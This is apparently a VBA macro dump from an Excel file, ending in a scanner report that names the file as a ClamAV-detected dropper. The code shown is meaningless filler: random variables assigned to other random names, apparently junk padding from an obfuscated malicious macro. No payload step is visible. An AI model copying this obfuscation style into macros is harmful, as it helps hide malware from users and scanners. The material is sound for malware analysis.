wmknyfqaexl = AA1uhxf2az5cx
AA5ooto4xdoar = hhisxl0mgqh
m1nyebyba1f = wim5netfox4
Dim ujltrmbcpga As Integer
ujltrmbcpga = yihhdo4iuhx
fvld52bil4l = a4e1jn1rlaf
ef22ydo5ybo = AA4miglf32ieh
fltg50xuyxp = jvelkxphgsd
gvb2cgf3eho = qdg3yllay2v
ntxx4eu5yco = j4tei3hg2fu
bxmpujj5nhk = iv3fnmjqtap
Dim AA5nyjm40tpit As Integer
AA5nyjm40tpit = ulwoyytfsve
ksxb3jmq5ua = AA2fzcrqaqf4r
uff5v2idvbq = gto53urdcrd
jfpj2takrjl = pjno4ctztcp
dakqhwomu3l = yfijyornt4f
ylit5dfhv2s = adnrzad1hiz
lg0eicewoce = gv0ezhgif3y
Dim r1k20jp1e3c As Integer
r1k20jp1e3c = cr2ujipy5ec
vz2p4smucww = AA043krtomedy
qdglmy5u0on = asaqgop4fps
mhcdf5idh3d = klwyobu250m
dwpqyeuaulm = dxaoamwz4zc
estwzd0g22n = goo33zyzy0k
uczwxw4xhxq = io2wup00wcv
Dim amz4t5cof3x As Integer
amz4t5cof3x = f0k5o0p12uj
s0ktf5zoad0 = ytjxubkovcb
hgqdjy3dt0a = AA2ible33drky
lhovdggtjds = fnvzwcsz35z
nzlo5sr505i = l2ki5ttnxns
gwmk4cvdfz1 = rrdwcgjva1f
xiy3psyfi5j = AA5iuzjlba4jw

End Function

Public Function xeddes2seeg()

Dim wwh22c5g5cf As Integer
wwh22c5g5cf = gj32o4cvbnh
pvwr1rwaus4 = gs5ozmlnyg1
zfbz4j0bnrc = hlay0j3towv
cxjd4eq2kqg = kxnijkj2ads
ju4cn51c1zl = gwpvezy0x2p
iquv25eg3mk = evrghv2itts
sbvp2svbjws = AA52xlwb0ku2f
Dim kgaudzegoo1 As Integer
kgaudzegoo1 = fhisvrearc5
vt2t42vwnhj = zeqchbn5iio
uptllanvjbk = AA5yaizkzfgo3
yzku5xahypn = scef0kvwpnb
AA2yxug1ke45m = AA1bra2pw3p3a
AA2dcwxyroo1d = ssoychkmvxc
j2gk4q30r5h = AA0hme3zyqnbo
Dim cetnvtno2gp As Integer
cetnvtno2gp = t1fer3hvv4l
mxqjqle1niz = b15g0txjkfw
rvbvna0f0zg = sqs3ezaaffw
qhlvsfglhpw = xl0euksu4sm
gpmylk5hpjb = AA14mnghlffn5
mugtsj0iu5o = cvi2uzjl4ph
uswuz243hst = hm1kzhsqy40
Dim v005jktqfu1 As Integer
v005jktqfu1 = vumy2kvubae
AA53cprzkobz3 = vkzi0h0ak2u
ofnz05pndyc = azr2suads25
AA4dk4xwic5kh = bnfaama1zey
lx1r2d1mzso = AA3biadmpmwrs
qfpsrkuaomf = AA3uhywxigiir
qm02bfmx5v5 = wjnyc5jfag5
Dim xvcyzvf2xqd As Integer
xvcyzvf2xqd = AA1sym3fr12cv
n20sclnai3e = bs2jjzqmv3q
wonyhwrxjkg = yvawj2brqix
ymkvyirgi1l = u5xrfvigz04
qdzg0hkjgpf = ox43we2bvse
AA4uxltcboczq = AA2hm0q1uafmm
moelrznrc2q = si0qvyzfssc
Dim xye4l1uyfrc As Integer
xye4l1uyfrc = gkqcrot4gqk
jnflmuuim5v = u4em3a5vh0p
i2nweu3qhfp = b04mpfqfxeu
vnx2xfaeg0m = ylmhqjuf01t
fg4nrxtkvjy = xu5syhno2pc
AA00djoxh14if = wmoofkt04oh
AA42f1fjpt1hd = kheprmwpfxm
Dim sb5sekvbl4w As Integer
sb5sekvbl4w = AA4wycrddlfvt
spzptpf1ndp = cwpjc4rowb5
kg4iolw0nha = AA5atj4hcx0yt
vqbqbwtpxl2 = gppwfxwiawq
sbl2wwdsnaf = q45hhy4w5xw
t5ygtillfih = cfeb0ltaknt
vgl0owx1b1j = ean0agogcxu
Dim djcc32h5ucz As Integer
djcc32h5ucz = plvbxlgmg5g
tfjxnzgb3o5 = w5btxdq31k2
zfswjp1maq2 = AA4zzioxajcwb
mx4a0wp0p5h = mdscmirybdn
guyhzeyuq0z = t4yvb42n1l3
la0yqlnzqjc = d4glk5xdvbi
mviy1isw1mc = cerfgailulg
Dim ktpfklofzh5 As Integer
ktpfklofzh5 = br1c0i3hea1
AA5m2wbclpvop = gniruq01rfc
hcypuhj4uig = tlcurey05c2
qqcjn2yi0zy = j0cjakrgrkh
xoq5xa3bv35 = coeq1fewv03
udnb2mw0hrk = AA3fvzic4ie5l
AA2q5oiuqohf3 = yfbsm0trasg
Dim muqxhorrwn5 As Integer
muqxhorrwn5 = tsbf2ijwc1y
nzz3nalvtok = h3y2lrpywrf
n3fitk1usbx = rlpy3zludll
pwzezaekwqb = yuhfyjm1vzn
pipqow0ogqt = gdrwbrau20s
yqsfg4kepwc = mvfhfk5uy3e
AA12o41l2a02o = nkty0ldhkrm
Dim rh2yhfl1ydv As Integer
rh2yhfl1ydv = hkvwsdpiqyk
cijhagvnjvn = fpmcevotifc
c20grw3dko2 = AA1gk4moxh0x1
wizh2k5izwm = sn200jz2ron
h0cdumw0fll = riyf44wuauq
y5ybih1ekp4 = dafxcof5epb
AA23yqfxf4f5g = AA1ydovg4se2s
Dim dpxigpse3zj As Integer
dpxigpse3zj = oykvfmhzjp3
dinn2nnsnd0 = AA0z1zybomawg
AA2vtx4ftmnqq = AA3ag2b4vlrrx
m0jmpm24ca3 = ntf4atu3p4d
AA5ubiknbpkvv = jnqovcpvio1
lsy0osmm5jm = u124shhgukt
xitupwyh4xf = hyt3slhla2r
Dim aqa2gb4evo1 As Integer
aqa2gb4evo1 = zw1lpjexjqw
kmllzhukx5v = tdnfncbsz1z
lg2arzmbg3u = cdxepcmkarf
bl3lgl40jg2 = AA2mgrxdh3xzm
gpbyd3ipr0q = pidfprqvj4n
AA0r1esb0rs5l = ybriojn0cbl
yknqv32aez0 = gg2msrms4dm
Dim AA4tm5hcmlye0 As Integer
AA4tm5hcmlye0 = y33bzwoh1qh
aqlvh2jkcie = dnmoy1ljrhi
r4sfhvxuecm = dlid2esct2y
i333y4tet1l = nr0pbrc1ap0
nt5bpu0ubzm = enzuwd0hy3b
AA2w2srkawjiz = wzelrslvy0a
vkaynjwzhmb = o5l5qrlad3p
Dim AA3kfymoyly5n As Integer
AA3kfymoyly5n = alszf5gjlrw
c4jqyxw4y2z = zk3j3f3byji
AA3quqha5bh3t = mavnesqwiyf
tzst2fkpvoz = AA1j0sv4tgjfi
y3pie32xba4 = xse0fp55osj
qsi4m5chrnv = bd1lun1c1m3
noq32ko5f3v = lzz2cw105w4
Dim ljvdgyxuivr As Integer
ljvdgyxuivr = xrsik0jzufx
mnlicrvpdw3 = AA1w5c1cyizss
qxcqp5nnsmq = vfvxftphe5g
AA3ivmae53p4f = okoh2zbatar
rjcbkuid5lf = edvxcdd2kze
AA5rkadnjjo4v = a2qqpqqlhze
AA21ufmohf1ln = ppblzmiopd5
Dim jzifytg152p As Integer
jzifytg152p = ndtduosfdub
dm3ov5tqp5r = caf01215ktp
cfkgsmlzkeq = AA3keobc10g0k
vfbm2whqdvb = x0knlvykpiq
h1z4xm1ry5j = idfbbpy0g30
xslt2p0sn5y = acbuibvih5p
ovi2ovwqcsi = ilb0apmdhgv
Dim u3bqrww4otp As Integer
u3bqrww4otp = geyiuslexpf
majoh3fqh1r = AA2ei3ytquvfx
xrucyfmdglp = AA0fuwp2lzmx3
AA2xd4zy10hbs = AA2s3eo0fhsjd
ssj12far4td = aauhfpbs51v
xn5xr1njta2 = j3xol3boifb
j1bvkciiags = AA5qsjygdj3lf
Dim zo3pwhsbhp0 As Integer
zo3pwhsbhp0 = kvrvh1y5lfp
AA2s5gkkn20km = hlvsndarmnd
ywsolismaef = bqj1wldevfo
qcycnmclckp = mavztke2ywe
AA1jgkhrjvkws = AA2opuykl4vhu
saprhkdpmpm = AA341uxgt5qkl
AA24xekc3hsk0 = ksf5mvxkly4
Dim ufmyhjiagah As Integer
ufmyhjiagah = qtpsov3dt2z
jsghp3nyauy = plv0mrme03o
j100wbq2zui = fxnaeer2xsq
qdl2gly0eli = segxwfelqv4
AA2pmcyk3z0ph = bbhs34jzte1
zhmxkyjoku1 = xjytqvtz1qr
du0k4bkyuhz = AA4dwxzjh10f4
Dim oncrqzzamyv As Integer
oncrqzzamyv = qtsvtwpyhgp
b5j0feaaymj = itgouzgjkl2
AA33ixyelrjou = vh5tfmat1nu
emulykquz2w = wivwkr40ndx
saof5zlssyf = pgosubd0d4l
ctypinukf4l = i31eifpjq0d
koz020zjb4k = AA1miwqte50mq
Dim ww3dr1n40df As Integer
ww3dr1n40df = hxnc2pvhdhz
AA5tw3murkjbx = drx1j13bq3q
bwzgnd4ip2q = aerzg1cxtpf
ut2bqbedi5d = gzseebpxz3z
wodrnxxyslz = zqyn15s5pfj
yw1nyyowlk0 = xqno50u0y15
ctn0r0rdwrp = xkeagyoxcii
Dim tpolhfoddce As Integer
tpolhfoddce = jt51tbtujsr
vataiynwydr = grnj3wmgzi1
AA13peubub1sj = nv22yfdkgu4
rbmk5olmuqi = AA5zx02z2zoth
AA15y2rm0dzzw = ddvsn4b3vif
bmzqpqj0bd2 = duzy0jvc5hg
e3fz0fvwic0 = lptlxj2bdu4
Dim lymwkmqsxet As Integer
lymwkmqsxet = AA4tzouzuhff4
deohtmnxzhz = AA51pec2welvq
xhfsbhmrfju = qn0e3d15p0c
AA4ub3rtryi3l = nobuefoblsz
gwxo41n3y3g = AA3yye4nyie5x
v3ornbilkyb = AA1u1lev0yf1t
qrmqq0tjhnj = ptckkqh2u3f
Dim lpeh5ai4ujj As Integer
lpeh5ai4ujj = AA32gmnflmboh
tvcxruap1p3 = ob2vs2smjj4
bwd5gzdfajl = wodotwlqi3i
zjm55ohnrp1 = jwdxhw2jbkc
AA5pod5wdqdcv = m4dc1novnvj
AA0k4lek2scjb = aswe4zot1in
AA5pmpu5zp0k3 = fqdyq3ghefz
Dim ah10ddqf1cv As Integer
ah10ddqf1cv = tmey5kosxeu
g5tntwzh41j = css42o4k4vu
wqkr3hq1rn0 = gwfryu2vbxo
AA1bz1rf5p5qr = zt1dnztfrlq
AA0xqqac4owzf = meq40cwdglj
dbrvhz00tbs = vweu0kaxuqk
fkislakqpb1 = j0iyumq2p2e
Dim wczdaogpwxv As Integer
wczdaogpwxv = w0j3sdmvtbe
AA0mghv2odddu = sqohncq1dlq
rbmkdvbbtvc = cvw0kfijj43
zgaed0oeon0 = twv2rphve34
AA3qbwstrt0zp = AA3zflc5slbd4
AA0pvdyoffjp4 = xffn2rsytav
c0elrvqfs3q = jjjcplcrlqd
Dim v2fjyj1acy0 As Integer
v2fjyj1acy0 = AA4krbk0xftrv
axlkr0y21pl = hneusq0ugwm
AA5f0fs2aa50i = AA51qojtjb3uj
dq35ylofjtg = AA5k1qoqhkhhj
rqsloctn5j4 = kzm4cvqb3cv
ytro53hpuej = AA1osxiu1udjq
nwbrafiwusi = olobrokumvz
Dim hg3cnh2bsrd As Integer
hg3cnh2bsrd = dbi5c13wdut
ssyxppyspkm = eg0i2gh3gby
d0jtvjy4soz = eakexttvbnj
t3rxt1jlc1o = bwlnxs1qzgj
AA2jun4bmpoit = AA1m5ocdv1w2a
AA5eo0e441l3i = zncaomo1apn
AA20rne3rbysd = AA15es1xnc2xt
Dim qek3rnhmv5t As Integer
qek3rnhmv5t = sdshalv0bhb
p3ovaejxuhi = AA1c3wipwubym
ehizpn0aykp = cfcpngr2znq
ajzpjylpqld = AA2twvnrbwpla
um03itykcmx = oxf0xjnusyy
AA1hsb34sqbmn = mndfldkeaog
hymzu3xsaso = AA1354etarbtj
Dim xbzo1ggsifw As Integer
xbzo1ggsifw = dgehqs1ph30
AA0ydjueeapm2 = vkklrsom14h
mi5cljyusdc = AA0h3hw03snoz
k22k2hpbvzo = lwavejhu5h0
lryekee55ce = arlqh35lydb
AA53lcdbvn25j = jac34qmjozt
ylwt4kwouhl = a221mvbvqa5
Dim AA4b1qdjpscsw As Integer
AA4b1qdjpscsw = wm31ywkwijl
pxvzsfueqc1 = uzm0f0f14pt
v1mb0wl1thx = flhdmpw1hlz
yh33tn3ferf = t45kzmpcrlc
AA3ruani1yedr = su0aerlvk0g
j3m2yvexxe4 = smaa5toty0b
breps20s42p = jvvdyanlsxp
Dim tr3qwe5reya As Integer
tr3qwe5reya = k3x30k0fmru
wgtovkbs514 = yq501f2gc1p
nwsb2whqo3w = zxzhm5hrfkc
uuvy1xp0ulu = ydajpprvtxf
xqw4o20yydo = AA4edgtk02bbn
kwohu12rsci = fbrmmuffrc4
hakxqicjv3h = AA4abgjsw1xs5
Dim gc1oucfvdl3 As Integer
gc1oucfvdl3 = pdsntg2saaa
c5mybw1swzh = wvl401y2ebe
ukntz2jisqz = fbgd4w5abb3
sqlckhemxie = jpmvqzjfw4i
p1nqjyj5eiv = x5ir1rfmtrz
c231kcvfabl = dw4mq2peccu
sncf3trdjhj = AA1vtzdrbsuvg
Dim AA0vd3iw2qtra As Integer
AA0vd3iw2qtra = ofnfylhleuy
hrkbuvajbb1 = cdijqhw4gfp
nyx4nx2rmrg = hs3jc1kwoq1
hm0otx52cpe = qxctgyizjwd
xztaafigl0h = jpvhkm5a4v2
rjecnrgaxjv = AA1loqrjctz31
AA5rqo15aef4a = qwnumrhyhb4
Dim ru2u2ohptxt As Integer
ru2u2ohptxt = aqhqtbpftsv
qugluwjwbv3 = AA4jyhhyknfax
i0n3ozn1unt = uk55rrpyelh
kwwrw3se0pc = whg3gnvhwn2
jkahu4pllfh = mpm1ppbjsaw
b1qowhcwzga = ka52lqjqu5c
rblgwva0pka = ekg14p4pbl4
Dim btc1uakry4f As Integer
btc1uakry4f = f2tk1t2da2l
kbxicghferu = c22nhsbdei3
wbbqb0vsb21 = wpchr0vgxe3
lcfywmm2eyc = y5lhonkfbhg
ymjehrcfeip = o2zsuamzmbf
b0uvdy243jj = AA3i01wm1wojs
c4bh3hk1rgb = kepgfkjippe
Dim wxzgkhhqohz As Integer
wxzgkhhqohz = oxcysfyaugf
mkadfty5kos = nboapnmjpqs
w4d403nmsqt = wgkoixylsvr
…
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 148480 bytes
SHA-256: 7de38135df196908314b1b85b23722c692f63eb32fba2b37afb09a2634bb6903
Detection
ClamAV: Xls.Dropper.Agent-7196014-0
Obfuscation or payload: unlikely